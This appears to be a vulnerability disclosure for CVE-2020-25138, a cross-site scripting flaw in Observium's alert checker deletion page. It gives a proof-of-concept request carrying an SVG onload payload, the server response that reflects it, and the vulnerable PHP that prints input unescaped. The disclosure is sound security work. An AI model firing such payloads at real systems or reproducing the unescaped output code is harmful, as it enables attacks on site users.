Created
September 22, 2020 09:13
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| CVE-2020-25138 | |
| ------------------------------------------ | |
| Cross Site Scripting in delete_alert_checker | |
| ------------------------------------------ | |
| [Description] | |
| Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject and store malicious JavaScript code within it. ------------------------------------------ | |
| [Additional Information] | |
| Example request that allows to trigger XSS payload. | |
| GET /alert_check/action=delete_alert_checker/alert_test_id=test1337%3Csvg%20onload=alert(document.domain)%3E/confirm=1/ HTTP/1.1 | |
| Host: localhost | |
| Connection: close | |
| DNT: 1 | |
| Upgrade-Insecure-Requests: 1 | |
| User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | |
| Sec-Fetch-Site: none | |
| Sec-Fetch-Mode: navigate | |
| Sec-Fetch-User: ?1 | |
| Sec-Fetch-Dest: document | |
| Accept-Encoding: gzip, deflate | |
| Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 | |
| Cookie: observium_screen_ratio=1; observium_screen_resolution=3840x2160; OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf | |
| Partial of server response: | |
| HTTP/1.1 200 OK | |
| Date: Tue, 11 Aug 2020 09:16:14 GMT | |
| Strict-Transport-Security: max-age=63072000; includeSubdomains; | |
| X-Frame-Options: DENY | |
| Expires: Thu, 19 Nov 1981 08:52:00 GMT | |
| Cache-Control: no-store, no-cache, must-revalidate | |
| Pragma: no-cache | |
| Set-Cookie: OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf; expires=Tue, 11-Aug-2020 09:46:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure | |
| X-XSS-Protection: 1; mode=block | |
| X-Permitted-Cross-Domain-Policies: none | |
| Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin; | |
| X-Content-Type-Options: nosniff | |
| Connection: close | |
| Content-Type: text/html; charset=UTF-8 | |
| Content-Length: 1228927 | |
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <base href="https://localhost/"/> | |
| <meta http-equiv="content-type" content="text/html; charset=utf-8"/> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/> | |
| <!-- CSS BEGIN --> | |
| <link href="css/observium.css?v=20.7.10615" rel="stylesheet" type="text/css" /> | |
| <link href="css/sprite.css?v=20.7.10615" rel="stylesheet" type="text/css" /> | |
| <link href="css/flags.css?v=20.7.10615" rel="stylesheet" type="text/css" /> | |
| <link href="css/c3.min.css?v=20.7.10615" rel="stylesheet" type="text/css" /> | |
| <!-- CSS END --> | |
| (…) | |
| <div class="alert alert-info"><button type="button" class="close" data-dismiss="alert">×</button> | |
| <div>Deleted all traces of alert checker test1337<svg onload=alert(document.domain)></div> | |
| </div> | |
| Below we present vulnerable code: | |
| /var/opt/observium/html/pages/alert_check.inc.php: | |
| 109 else if ($vars['action'] == "delete_alert_checker" && $vars['alert_test_id'] && $vars['confirm']) | |
| 110 { | |
| 111 // Maybe expand this to output more info. | |
| 112 | |
| 113 dbDelete('alert_tests', '`alert_test_id` = ?', array($vars['alert_test_id'])); | |
| 114 dbDelete('alert_table', '`alert_test_id` = ?', array($vars['alert_test_id'])); | |
| 115 //dbDelete('alert_table-state', '`alert_test_id` = ?', array($vars['alert_test_id'])); | |
| 116 dbDelete('alert_assoc', '`alert_test_id` = ?', array($vars['alert_test_id'])); | |
| 117 dbDelete('alert_contacts_assoc', '`alert_checker_id` = ?', array($vars['alert_test_id'])); | |
| 118 | |
| 119 print_message("Deleted all traces of alert checker ".$vars['alert_test_id']); | |
| 120 unset($vars['alert_test_id']); | |
| 121 } | |
| ------------------------------------------ | |
| [VulnerabilityType Other] | |
| Cross Site Scripting | |
| ------------------------------------------ | |
| [Vendor of Product] | |
| https://www.observium.org/ | |
| ------------------------------------------ | |
| [Affected Product Code Base] | |
| Professional, Enterprise & Community 20.8.10631 | |
| ------------------------------------------ | |
| [Affected Component] | |
| alert_check -> delete_alert_checker | |
| ------------------------------------------ | |
| [Attack Type] | |
| Remote | |
| ------------------------------------------ | |
| [Reference] | |
| https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md | |
| https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf | |
| https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) | |
| https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) | |
| https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) | |
| ------------------------------------------ | |
| [Discoverer] | |
| Mariusz Popławski | |
| ------------------------------------------ | |
| Mariusz Popławski / AFINE.com team |
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